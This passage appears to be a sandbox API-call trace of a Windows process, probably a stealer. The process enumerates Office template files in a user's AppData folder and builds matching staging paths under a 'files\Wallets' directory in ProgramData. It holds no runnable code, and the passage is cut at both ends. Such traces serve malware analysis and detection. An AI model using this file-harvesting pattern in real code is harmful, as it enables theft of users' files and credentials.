returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" [0052.342] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\" [0052.342] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328932[[fn=Picture Frame]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328932[[fn=Picture Frame]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328932[[fn=Picture Frame]].glox" [0052.342] lstrcpyW (in: lpString1=0x19b4a8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" [0052.342] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\" [0052.342] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328932[[fn=Picture Frame]].glox" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328932[[fn=Picture Frame]].glox") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328932[[fn=Picture Frame]].glox" [0052.343] FindNextFileW (in: hFindFile=0x58a3c0, lpFindFileData=0x19afdc | out: lpFindFileData=0x19afdc) returned 1 [0052.343] lstrcpyW (in: lpString1=0x19b6b4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" [0052.343] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\" [0052.343] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328935[[fn=Picture Organization Chart]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328935[[fn=Picture Organization Chart]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328935[[fn=Picture Organization Chart]].glox" [0052.343] lstrcpyW (in: lpString1=0x19b4a8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" [0052.343] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\" [0052.343] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328935[[fn=Picture Organization Chart]].glox" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328935[[fn=Picture Organization Chart]].glox") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328935[[fn=Picture Organization Chart]].glox" [0052.343] FindNextFileW (in: hFindFile=0x58a3c0, lpFindFileData=0x19afdc | out: lpFindFileData=0x19afdc) returned 1 [0052.343] lstrcpyW (in: lpString1=0x19b6b4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" [0052.343] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\" [0052.343] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328940[[fn=Radial Picture List]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328940[[fn=Radial Picture List]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328940[[fn=Radial Picture List]].glox" [0052.343] lstrcpyW (in: lpString1=0x19b4a8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" [0052.343] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\" [0052.343] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328940[[fn=Radial Picture List]].glox" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328940[[fn=Radial Picture List]].glox") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328940[[fn=Radial Picture List]].glox" [0052.343] FindNextFileW (in: hFindFile=0x58a3c0, lpFindFileData=0x19afdc | out: lpFindFileData=0x19afdc) returned 1 [0052.343] lstrcpyW (in: lpString1=0x19b6b4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" [0052.343] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\" [0052.343] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328951[[fn=Tabbed Arc]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328951[[fn=Tabbed Arc]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328951[[fn=Tabbed Arc]].glox" [0052.343] lstrcpyW (in: lpString1=0x19b4a8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" [0052.343] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\" [0052.343] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328951[[fn=Tabbed Arc]].glox" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328951[[fn=Tabbed Arc]].glox") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328951[[fn=Tabbed Arc]].glox" [0052.343] FindNextFileW (in: hFindFile=0x58a3c0, lpFindFileData=0x19afdc | out: lpFindFileData=0x19afdc) returned 1 [0052.343] lstrcpyW (in: lpString1=0x19b6b4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" [0052.343] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\" [0052.343] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328972[[fn=Tab List]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328972[[fn=Tab List]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328972[[fn=Tab List]].glox" [0052.343] lstrcpyW (in: lpString1=0x19b4a8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" [0052.343] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\" [0052.343] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328972[[fn=Tab List]].glox" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328972[[fn=Tab List]].glox") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328972[[fn=Tab List]].glox" [0052.343] FindNextFileW (in: hFindFile=0x58a3c0, lpFindFileData=0x19afdc | out: lpFindFileData=0x19afdc) returned 1 [0052.344] lstrcpyW (in: lpString1=0x19b6b4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" [0052.344] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\" [0052.344] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328975[[fn=Theme Picture Accent]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328975[[fn=Theme Picture Accent]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328975[[fn=Theme Picture Accent]].glox" [0052.344] lstrcpyW (in: lpString1=0x19b4a8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" [0052.344] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\" [0052.344] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328975[[fn=Theme Picture Accent]].glox" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328975[[fn=Theme Picture Accent]].glox") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328975[[fn=Theme Picture Accent]].glox" [0052.344] FindNextFileW (in: hFindFile=0x58a3c0, lpFindFileData=0x19afdc | out: lpFindFileData=0x19afdc) returned 1 [0052.344] lstrcpyW (in: lpString1=0x19b6b4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" [0052.344] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\" [0052.344] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328983[[fn=Theme Picture Alternating Accent]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328983[[fn=Theme Picture Alternating Accent]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328983[[fn=Theme Picture Alternating Accent]].glox" [0052.344] lstrcpyW (in: lpString1=0x19b4a8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" [0052.344] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\" [0052.344] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328983[[fn=Theme Picture Alternating Accent]].glox" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328983[[fn=Theme Picture Alternating Accent]].glox") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328983[[fn=Theme Picture Alternating Accent]].glox" [0052.344] FindNextFileW (in: hFindFile=0x58a3c0, lpFindFileData=0x19afdc | out: lpFindFileData=0x19afdc) returned 1 [0052.344] lstrcpyW (in: lpString1=0x19b6b4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" [0052.344] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\" [0052.344] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328986[[fn=Theme Picture Grid]].glox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328986[[fn=Theme Picture Grid]].glox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328986[[fn=Theme Picture Grid]].glox" [0052.344] lstrcpyW (in: lpString1=0x19b4a8, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" [0052.344] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\" [0052.344] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\", lpString2="TM03328986[[fn=Theme Picture Grid]].glox" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328986[[fn=Theme Picture Grid]].glox") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033\\TM03328986[[fn=Theme Picture Grid]].glox" [0052.344] FindNextFileW (in: hFindFile=0x58a3c0, lpFindFileData=0x19afdc | out: lpFindFileData=0x19afdc) returned 1 [0052.344] lstrcpyW (in: lpString1=0x19b6b4, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\SmartArt Graphics\\1033" | out: 